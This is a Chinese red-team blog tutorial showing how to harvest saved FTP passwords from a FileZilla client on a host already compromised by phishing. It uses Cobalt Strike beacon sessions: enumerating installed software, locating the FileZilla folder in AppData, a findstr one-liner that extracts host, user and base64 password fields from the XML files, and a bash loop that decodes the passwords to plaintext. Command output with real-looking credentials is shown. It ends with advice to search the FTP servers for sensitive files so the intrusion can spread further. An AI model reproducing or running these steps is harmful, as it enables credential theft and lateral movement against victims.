

内网密码搜集 [一键抓取目标本地 filezilla 客户端中的所有 ftp 账号密码]

场景：
跟之前 foxmail 一样,假设依然是通过发信打到的一台目标单机,然后翻机器时发现上面装有 filezilla 客户端,然后现在就想把客户端中保存的所有 ftp 账号密码都获取下,非常简单,过程如下

如下,全程都在一个未 bypassUAC 的管理权限下操作

beacon> shell whoami /user

192.168.137.66WangWeiWANGWEI-PC39401s

Event LogXBeacon 192.168.137.66@3940X

beacon> shell whoami /user
[*] Tasked beacon to run: whoami /user
[+] host called home, sent: 43 bytes
[+] received output:

用户信息

用户名SID
=====
wangwei-pc\wangwei S-1-5-21-4088899663-2249071120-2828823607-1000

正常抓取当前机器的已安装软件列表,发现其存在 filezilla 客户端,那接下来的事情就很清晰了

beacon> shell GetInstallSoftInfo.exe
beacon> shell type C:\Users\WangWei\AppData\Local\Temp\WANGWEI-PC_WangWei_2019.11.13.13.11.10_RURG.logs

Event LogXBeacon 192.168.137.66@3940X

beacon> shell type C:\Users\WangWei\AppData\Local\Temp\WANGWEI-PC_WangWei_2019.11.13.13.11.10_RURG.logs
[*] Tasked beacon to run: type C:\Users\WangWei\AppData\Local\Temp\WANGWEI-PC_WangWei_2019.11.13.13.11.10_RURG.logs
[+] host called home, sent: 120 bytes
[+] received output:
Name:FileZilla Client 3.45.1
Version:3.45.1
InstallDate:
InstallLocation:C:\Program Files\FileZilla FTP Client

[WANGWEI-PC] WangWei/3940 (x64)

beacon>

特别注意,此处想成功抓到密码的前提是目标 filezilla 客户端中必须事先保存的有密码才行,怎么知道它保存的有没有呢? 其实,我也不知道,只能通过后续翻下对应的 xml 文件才知道,不过,可以保证的是,不翻翻永远都不会知道

www@192.168.137.26 - FileZilla

文件(F) 编辑(E) 查看(V) 传输(T) 服务器(S) 书签(B) 帮助(H)

主机(H): 192.168.137.26 用户名(U): www 密码(W): 端口(P): 快速连接(Q)

状态: 不安全的服务器, 不支持 FTP over TLS.
状态: 已登录
状态: 读取目录列表...
状态: 列出 "/" 的目录成功

本地站点: C:\Users\WangWei\Documents\

Documents
Downloads
Favorites
Links

文件名	文件大小	文件类型	最近修改
..			
Integration Ser...		文件夹	2019/10/27 21:3...
Integration Ser...		文件夹	2019/10/27 21:3...
My Music		文件夹	
My Pictures		文件夹	

2 个文件 和 12 个目录。大小总计: 2,406 字节

远程站点: /

LazyOA_SQL_S

文件名	文件大小	文件类型	最近修改
..			
LazyOA_SQL_S		文件夹	2019/10/28
2008r2CN.txt	28	TXT 文件	2019/10/28

1 个文件 和 1 个目录。大小总计: 28 字节

服务器/本地文件	方向	远程文件	大小	优先级	状态
----------	----	------	----	-----	----

保存密码的 xml 文件默认都被放在当前用户数据库目录下的 filezilla 目录中

```
beacon> shell dir %appdata%
Event Log X Beacon 192.168.137.66@3940 X
beacon> shell dir %appdata%
[*] Tasked beacon to run: dir %appdata%
[+] host called home, sent: 44 bytes
[+] received output:
驱动器 C 中的卷没有标签。
卷的序列号是 D2B8-D937

C:\Users\WangWei\AppData\Roaming 的目录
2019/11/12 17:36 <DIR> .
2019/11/12 17:36 <DIR> ..
2019/10/27 14:44 <DIR> Adobe
2019/11/06 10:15 <DIR> FileZilla
2019/10/27 20:25 <DIR> FileZilla Server
2019/11/13 11:41 <DIR> Foxmail7
2019/10/27 11:52 <DIR> Identities
2019/10/29 16:24 <DIR> java
2011/04/12 22:40 <DIR> Media Center Programs
2019/10/27 20:29 <DIR> Mozilla
[WANGWEI-PC] WangWei/3940 (x64)
beacon>
```

由于主机,端口,账号,密码字段都是已知的,所以直接一把梭哈出来就好了

```
beacon> cd C:\Users\WangWei\AppData
beacon> shell findstr /c:"<Host>" /c:"<Port>" /c:"<User>" /c:"<Pass" /si C:\Users\WangWei\AppData\Roaming\FileZilla\*.xml
Event Log X Beacon 192.168.137.66@3940 X
beacon> cd C:\Users\WangWei\AppData
[*] cd C:\Users\WangWei\AppData
[+] host called home, sent: 32 bytes
beacon> shell findstr /c:"<Host>" /c:"<Port>" /c:"<User>" /c:"<Pass" /si C:\Users\WangWei\AppData\Roaming\FileZilla\*.xml
[*] Tasked beacon to run: findstr /c:"<Host>" /c:"<Port>" /c:"<User>" /c:"<Pass" /si C:
\Users\WangWei\AppData\Roaming\FileZilla\*.xml
[+] host called home, sent: 138 bytes
[+] received output:
C:\Users\WangWei\AppData\Roaming\FileZilla\filezilla.xml: <Host>192.168.137.26</Host>
C:\Users\WangWei\AppData\Roaming\FileZilla\filezilla.xml: <Port>21</Port>
C:\Users\WangWei\AppData\Roaming\FileZilla\filezilla.xml: <User>webadmin</User>
C:\Users\WangWei\AppData\Roaming\FileZilla\filezilla.xml: <Pass encoding="base64">
>YWRtaW4=</Pass>
C:\Users\WangWei\AppData\Roaming\FileZilla\recentservers.xml: <Host>192.168.137.26</Host>
C:\Users\WangWei\AppData\Roaming\FileZilla\recentservers.xml: <Port>21</Port>
C:\Users\WangWei\AppData\Roaming\FileZilla\recentservers.xml: <User>webadmin</User>
C:\Users\WangWei\AppData\Roaming\FileZilla\recentservers.xml: <Pass encoding="base64">YWRtaW4=</Pass>
C:\Users\WangWei\AppData\Roaming\FileZilla\recentservers.xml: <Host>192.168.137.211</Host>
C:\Users\WangWei\AppData\Roaming\FileZilla\recentservers.xml: <Port>21</Port>
C:\Users\WangWei\AppData\Roaming\FileZilla\recentservers.xml: <User>ftp</User>
C:\Users\WangWei\AppData\Roaming\FileZilla\recentservers.xml: <Pass encoding="base64">YWRtaW4xMjM=</Pass>
C:\Users\WangWei\AppData\Roaming\FileZilla\recentservers.xml: <Host>192.168.137.211</Host>
C:\Users\WangWei\AppData\Roaming\FileZilla\recentservers.xml: <Port>21</Port>
C:\Users\WangWei\AppData\Roaming\FileZilla\recentservers.xml: <User>webadmin</User>
C:\Users\WangWei\AppData\Roaming\FileZilla\recentservers.xml: <Pass encoding="base64">d3d3YWRtaW4=</Pass>
C:\Users\WangWei\AppData\Roaming\FileZilla\recentservers.xml: <Host>192.168.137.80</Host>
[WANGWEI-PC] WangWei/3940 (x64) last: 955ms
beacon>
```

由于密码只是用 bs64 编码了下,最终,批量解码下即可得到所有的明文账号密码

```
# cat bs64.txt
# while read line ; do echo $line | base64 -d -i; echo; done< bs64.txt
root@stronger:~# cat bs64.txt
YWRtaW4=
YWRtaW4xMjM=
d3d3YWRtaW4=
YWRtaW4xMjM0NQ==
root@stronger:~# while read line ; do echo $line | base64 -d -i; echo; done< bs64.txt
admin
admin123
wwwadmin
admin12345
root@stronger:~#
```

小结：
注意,此处的演示全部都是用最新版的客户端,非常简单,其实压根也没什么太多好说的,遇到目标装有 filezilla 客户端就去对应的目录搜下就好了,实在没有搜不到就算了,没啥好纠结的,拿到这些 ftp 账号之后的事情,还是按正常流程走就好了,去各个 ftp 上多翻翻敏感文件资料便于后期拓展...就先在这儿吧,有任何问题,欢迎弟兄们及时反馈,非常感谢,祝好运 ☺

注：所有文章仅供安全研究之用,严禁私自用于任何非法用途
由此所引发的一切不良后果,均由读者自行承担
有任何问题,请直接联系该文章作者
严禁私自外传,如发现任何外泄行为,将立即停止后续的所有更新

更多高质量精品实用干货分享,请扫码关注个人 **微信公众号** ,或者直接加入 **小密圈** 与众多资深 apt 及红队玩家一起深度学习交流 :)

微信公众号



加入小密圈 [注: 心智不成熟, 准备进来偷完资料就跑的贼, 乱七八糟的人, 请不要来,谢谢]



By klion
2019.3.6